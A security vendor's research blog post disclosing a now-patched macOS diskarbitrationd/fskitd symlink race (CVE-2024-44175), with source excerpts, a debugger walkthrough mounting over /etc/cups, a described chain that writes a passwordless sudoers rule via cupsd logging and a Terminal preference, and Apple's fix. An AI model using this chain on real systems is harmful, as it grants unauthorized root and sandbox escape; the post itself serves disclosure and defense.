Skip to content
uncovering apple vulnerabilities: the diskarbitrationd and storagekitd audit story part 1
Blog Threat Intelligence Uncovering...

Uncovering Apple Vulnerabilities: The diskarbitrationd and storagekitd Audit Story Part 1

Csaba Fitzl Csaba Fitzl
Principal macOS Security Researcher
34 min read

The Kandji team is always looking out for how to help keep your devices secure. In line with that, our Threat Research team performed an audit on the macOS diskarbitrationd and storagekitd system daemons, uncovering several vulnerabilities such as sandbox escapes, local privilege escalations, and TCC bypasses. Our team reported all of them to Apple through their responsible disclosure program, and as these are fixed now, we are releasing the details.

This is part one of a three part blog series, and in each part, we will review a vulnerability, how someone could exploit it, and finally, how Apple fixed it. We also presented these findings at the POC 2024 and Black Hat Europe 2024 IT Security conferences. With that context, let's dive in.

Introduction

The diskarbitrationd process has been exploited multiple times in the past, and I already found numerous vulnerabilities in this daemon before. I covered those in my "History of macOS Disk Arbitration vulnerabilities" talk at the MacSysAdmin 2024 and Hacktivity 2024 conferences. Since then, I learned new tricks and techniques on macOS, and with this I thought that the daemon deserves a second look as there might be leftover issues.

In this first part of the series I will cover CVE-2024-44175, which allows attackers to escape the application sandbox and also escalate their privileges to root from a low privileged user. Let's start reviewing the vulnerability.

The Vulnerability

diskarbitrationd supports two different file system types; those which are implemented in the kernel, like APFS or HFS+, and those that are implemented in user mode, so-called User File Systems (UserFS), for which FAT file system is a good example. The vulnerability existed in the handling of UserFS file systems.

When the disk arbitration daemon prepares the device for mounting, in the DAFileSystemMountWithArguments function there is an initial check if the file system we try to mount has a UserFS implementation or not. This is shown below.

void DAFileSystemMountWithArguments( DAFileSystemRef      filesystem,
                                    CFURLRef             device,
                                    CFStringRef          volumeName,
                                    CFURLRef             mountpoint,
                                    uid_t                userUID,
                                    gid_t                userGID,
                                    CFStringRef          preferredMountMethod,
                                    DAFileSystemCallback callback,
                                    void *               callbackContext,
                                    ... )
{
    /*
    *  Check for UserFS mount support. If the FS bundle supports UserFS and the preference is enabled
    *  Use UserFS APIs to do the mount instead of mount command.
    */
   fsImplementation = CFDictionaryGetValue( filesystem->_properties, CFSTR( "FSImplementation" )  );
   if ( fsImplementation != NULL )
   {
       Boolean                 useKext         = FALSE;
       if  (CFGetTypeID(fsImplementation) == CFArrayGetTypeID() )
       {
           /*
            * Choose the first listed FSImplementation item as the default mount option
            */
           CFStringRef firstSupportedFS = CFArrayGetValueAtIndex( fsImplementation, 0 );
           if ( firstSupportedFS != NULL )
           {
               if (CFStringCompare( CFSTR("UserFS"), firstSupportedFS, kCFCompareCaseInsensitive ) == 0)
               {
                    useUserFS = TRUE;
               }
           }   
           /*
            * If userfs is specified as the preferred mount option, then use UserFS to mount if it is supported.
            */
           if ( preferredMountMethod != NULL )
           {
               if ( useUserFS == FALSE )
               {
                   if ( ( CFStringCompare( CFSTR("UserFS"), preferredMountMethod, kCFCompareCaseInsensitive ) == 0) &&
                       ( ___CFArrayContainsString( fsImplementation, CFSTR("UserFS") ) == TRUE ) )
                   {
                        useUserFS = TRUE;
                   }
               }
               else
               {
                   if ( ( CFStringCompare( CFSTR("kext"), preferredMountMethod, kCFCompareCaseInsensitive ) == 0 ) &&
                       ( ___CFArrayContainsString( fsImplementation, CFSTR("kext") ) == TRUE ) )
                   {
                       useUserFS = FALSE;
                   }
               }
           }
       }
    }

Here we pass a series of checks, if UserFS is supported for the file system type, and if yes, the useUserFS variable will be set to TRUE. Later on in the same function the variable will be checked, and what happens next will be greatly distinct from KEXT based file systems.

In case of KEXT based file system the daemon will call the external mount command with passing all the parameters and options, along with -k which will enforce the mount operation not to follow any symbolic links in the path and fail in case any are found. This option is enforced and exists to prevent previously uncovered vulnerabilities.

However, in the case of UserFS this enforcement is not happening, as we can find in the code snippet below.

if ( useUserFS )
{
   CFArrayRef argumentList;
   // Retrive the device name in diskXsY format (without "/dev/" ).
   argumentList = CFStringCreateArrayBySeparatingStrings( kCFAllocatorDefault, devicePath, CFSTR( "/" ) );
   if ( argumentList )
   {
       CFStringRef dev = CFArrayGetValueAtIndex( argumentList, CFArrayGetCount( argumentList ) - 1 );
        context->deviceName = CFRetain(dev);
       context->fileSystem = CFRetain( DAFileSystemGetKind( filesystem ));
       if ( mountpointPath )
       {
            context->mountPoint = CFRetain( mountpointPath );
       }
       else
       {
            context->mountPoint = NULL;
       }
       if ( volumeName )
       {
            context->volumeName = CFRetain( volumeName );
       }
       else
       {
            context->volumeName = CFSTR( "Untitled" );
       }
       if ( CFStringGetLength( options ))
       {
            context->mountOptions = CFRetain( options );
       } else
       {
            context->mountOptions = NULL;
       }
        DAThreadExecute(__DAMountUserFSVolume, context, __DAMountUserFSVolumeCallback, context);
       CFRelease( argumentList );
   }
   else
   {
       status = EINVAL;
   }
   goto DAFileSystemMountErr;
}

Here the daemon populates all the mount options, arguments, and other properties, and essentially calls the __DAMountUserFSVolume function via DAThreadExecute. Note that only those options, which already present, are passed, and -k is not enforced. 

Additionally, when a call is made to fskitd through the API, the user ID, (or the disk owner ID, like in the case of KEXT FS,) is not passed.

returnValue = [FSKitDiskArbHelper DAMountUserFSVolume:fsType
                                          deviceName:deviceName
                                          mountPoint:mountpoint
                                          volumeName:volumeName
                                         mountOptions:mountOptions];

We can see the missing options if we run a process monitor. Below is a screenshot of the mount command executed.

Essentially diskarbitrationd calls into fskitd, which executes the relevant mount command for the actual file system, mount_lifs in this case. We can see that the nofollow/-k option is not present. The other issue is that mount_lifs is executed as root regardless of the caller.

The difference in the call flow is summarized in the below high-level drawing.

This is a problem because diskarbitrationd has a single point where it verifies the mount point against sandbox escape and privilege escalation scenarios right at the initial _DAServerSessionQueueRequest function. This is shown below.

kern_return_t _DAServerSessionQueueRequest( mach_port_t            _session,
...
if ( path )
{
    status = sandbox_check_by_audit_token(_token, "file-mount", SANDBOX_FILTER_PATH | SANDBOX_CHECK_ALLOW_APPROVAL, path);
   if ( status )
   {
       status = kDAReturnNotPrivileged;
   }
   free( path );
}
...
if ( audit_token_to_euid( _token ) )
{
    if ( audit_token_to_euid( _token ) != DADiskGetUserUID( disk ) )
   {
       status = kDAReturnNotPrivileged;
   }
}

As the path is not verified later, this is a classic Type Of Check Type Of Use (TOCTOU) bug, and we can bypass both checks with a symbolic link. Once the path was verified, we can replace it with a symlink, point it to another location, and mount over any directory we wish because fskitd runs as root and when it calls mount it will run with the same high level of privileges. This will work even from a sandbox.

This is summarized in the flow diagram below.

Here we can see that once we pass the checks in diskarbitrationd we can point our symbolic link somewhere else, and use that for sandbox escape or privilege escalation.

Next we will demo this using a debugger.

Exploitation using a Debugger

First we create a suitable DMG. We will use FAT as the file system, as that has a UserFS implementation.

tree@forest ~ % hdiutil create -fs "MS-DOS" -size 10MB -volname disk dos.dmg
created: /Users/tree/dos.dmg

We will attach our debugger to diskarbitrationd and set a breakpoint on sandbox_check_by_audit_token, which is the function responsible for checking if the Sandbox allows the mount operation for a process or not.

(lldb) process attach --name "diskarbitrationd"
Process 113 stopped
* thread #1, stop reason = signal SIGSTOP
   frame #0: 0x000000019e3b3564 libsystem_kernel.dylib`__sigsuspend_nocancel + 8
libsystem_kernel.dylib`__sigsuspend_nocancel:
->  0x19e3b3564 <+8>:  b.lo   0x19e3b3584    ; <+40>
   0x19e3b3568 <+12>: pacibsp 
   0x19e3b356c <+16>: stp    x29, x30, [sp, #-0x10]!
   0x19e3b3570 <+20>: mov    x29, sp
Target 0: (diskarbitrationd) stopped.
Executable module set to "/usr/libexec/diskarbitrationd".
Architecture set to: arm64e-apple-macosx-.
(lldb) b sandbox_check_by_audit_token
Breakpoint 2: where = libsystem_sandbox.dylib`sandbox_check_by_audit_token, address = 0x00000001aa59bc50
(lldb) c
Process 113 resuming

On another window we start the mounting process.

tree@forest ~ % mkdir mnt
tree@forest ~ % open dos.dmg   
tree@forest ~ % umount /Volumes/DISK
tree@forest ~ % diskutil list
...
/dev/disk5 (disk image):
  #:                       TYPE NAME                    SIZE       IDENTIFIER
  0:     FDisk_partition_scheme                        +10.5 MB    disk5
   1:                 DOS_FAT_32 DISK                    10.5 MB    disk5s1
tree@forest ~ % hdiutil attach -mountpoint mnt /dev/disk5s1

First we create a directory "mnt", which we will use as our mount point and then open the dmg and unmount it, so we have a disk device to use for diskarbitrationd. Lastly we will try to mount that device, disk5s1 in this case over mnt.

We will hit our breakpoint at this stage.

Process 113 stopped
* thread #3, queue = 'DAServer', stop reason = breakpoint 2.1
   frame #0: 0x00000001aa59bc50 libsystem_sandbox.dylib`sandbox_check_by_audit_token
libsystem_sandbox.dylib`sandbox_check_by_audit_token:
->  0x1aa59bc50 <+0>:  pacibsp
   0x1aa59bc54 <+4>:  sub    sp, sp, #0xb0
   0x1aa59bc58 <+8>:  stp    x20, x19, [sp, #0x90]
   0x1aa59bc5c <+12>: stp    x29, x30, [sp, #0xa0]
Target 0: (diskarbitrationd) stopped.
(lldb) finish
Process 113 stopped
* thread #3, queue = 'DAServer', stop reason = step out
   frame #0: 0x00000001005463b8 diskarbitrationd`___lldb_unnamed_symbol712 + 1488
diskarbitrationd`___lldb_unnamed_symbol712:
->  0x1005463b8 <+1488>: mov    w8, #0x9 ; =9
   0x1005463bc <+1492>: movk   w8, #0xf8da, lsl #16
   0x1005463c0 <+1496>: str    x8, [sp, #0x30]
   0x1005463c4 <+1500>: mov    x20, x19
Target 0: (diskarbitrationd) stopped.
(lldb) b CFRelease
Breakpoint 3: where = CoreFoundation`CFRelease, address = 0x000000019e462edc
(lldb) c
Process 113 resuming
Process 113 stopped
* thread #3, queue = 'DAServer', stop reason = breakpoint 3.1
   frame #0: 0x000000019e462edc CoreFoundation`CFRelease
CoreFoundation`CFRelease:
->  0x19e462edc <+0>:  pacibsp
   0x19e462ee0 <+4>:  stp    x20, x19, [sp, #-0x20]!
   0x19e462ee4 <+8>:  stp    x29, x30, [sp, #0x10]
   0x19e462ee8 <+12>: add    x29, sp, #0x10
Target 0: (diskarbitrationd) stopped.
(lldb) finish

We continue to the next CFRelease, which is at the end of both sandbox and privilege checks. At this point we passed all verification done by the daemon, so we can replace our directory with a symlink pointing to a location owned by root; here we will use /etc/cups.

tree@forest ~ % rm -rf mnt
tree@forest ~ % ln -s /etc/cups/ mnt

Then we disable breakpoints and let diskarbitrationd continue to run.

(lldb) breakpoint disable
All breakpoints disabled. (2 breakpoints)
(lldb) c
Process 113 resuming

Eventually our disk image gets mounted over /etc/cups which is owned by root.

tree@forest ~ % mount
/dev/disk4s1s1 on / (apfs, sealed, local, read-only, journaled)
devfs on /dev (devfs, local, nobrowse)
...
/dev/disk5s1 on /private/etc/cups (msdos, local, nodev, nosuid, noowners, noatime, fskit)

Here we proved that we can mount over any directory we want. Let’s explore next how we can turn it into an actual exploit.

Weaponization

To achieve local privilege escalation (LPE) the flow is a little bit tricky. It's illustrated below, and the explanation follows.

image-Nov-06-2024-10-18-54-9206-PM

We mount over the previously discussed /etc/cups directory and we drop a custom cups-files.conf file. This file contains configuration options for the cupsd daemon, which is the printer service. This file has two options, ErrorLog and LogFilePerm, the former sets the log file location, which we set to /etc/sudoers.d/lpe and the latter sets the permissions on the log file, which will be 777 in this case, so it becomes world writable. We also put some junk lines in the file to trigger error log creation.

We can run cupsctl to trigger the log creation. We then insert "%staff ALL=(ALL) NOPASSWD:ALL" into the created sudoers file, which means that every user in the staff group can elevate their privileges to root without a password. We also change the LogFilePerm to 700 as that is needed for sudo to use the created file.

We invoke cupsctl again, which will reset the permissions. At that point we can run sudo and we will be elevated to root.

Turning an arbitrary mount operation into sandbox escape can be done in the following way as illustrated below.

We plant a Terminal preference file in our disk image, which contains a CommandString configuration option. The command set here will be executed by Terminal when it's started. To chain this with the LPE, we also drop our LPE shell script, and will set that as the command string. By mounting the disk over the user's Preferences directory, and then opening Terminal, we can achieve code execution outside the Sandbox, because Terminal is not running in a Sandbox. Terminal will execute our script, which will eventually achieve LPE.

Apple's Fix

Apple fixed this quickly, in macOS Sequoia 15.1 beta 2. Now the mount call uses the nofollow option, this is shown below.

/sbin/mount_lifs -v -o rsize=524288,wsize=65536,readahead=4,dsize=65536,actimeo=10,nodev,noowners,nosuid,nofollow,noatime,fh=05000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 :/ /Users/tree/mnt

If we check the source code, we will find that now the nofollow option is always added to the call.

if ( useUserFS )
{
...
 CFStringAppend( options, CFSTR( "," ) );
 CFStringAppend( options, kDAFileSystemMountArgumentNoFollow );
...
}

Additionally, they also ensure that fskitd has the user ID of the original requestor, thus it can verify if the user has privileges or not.

token = [FSAuditToken new];
token = [token tokenWithRuid:gDAConsoleUserUID];
returnValue = [FSKitDiskArbHelper DAMountUserFSVolume:fsType
                                          deviceName:deviceName
                                          mountPoint:mountpoint
                                          volumeName:volumeName
                                          auditToken:token.audit_token
                                        mountOptions:mountOptions];

Conclusion

In this blog post we covered a vulnerability, which impacted the diskarbitrationd system daemon and allowed us to either escape the sandbox or escalate our privileges. We could utilize symbolic links to redirect a mount operation executed as root to a location of our choice which allowed us to achieve our goal. Apple fixed this by enforcing that the path used for the mount call cannot contain symbolic links and by ensuring that fskitd is aware of the calling user.

In part 2 of this series, we will review a directory traversal attack on the same system daemon. Stay tuned.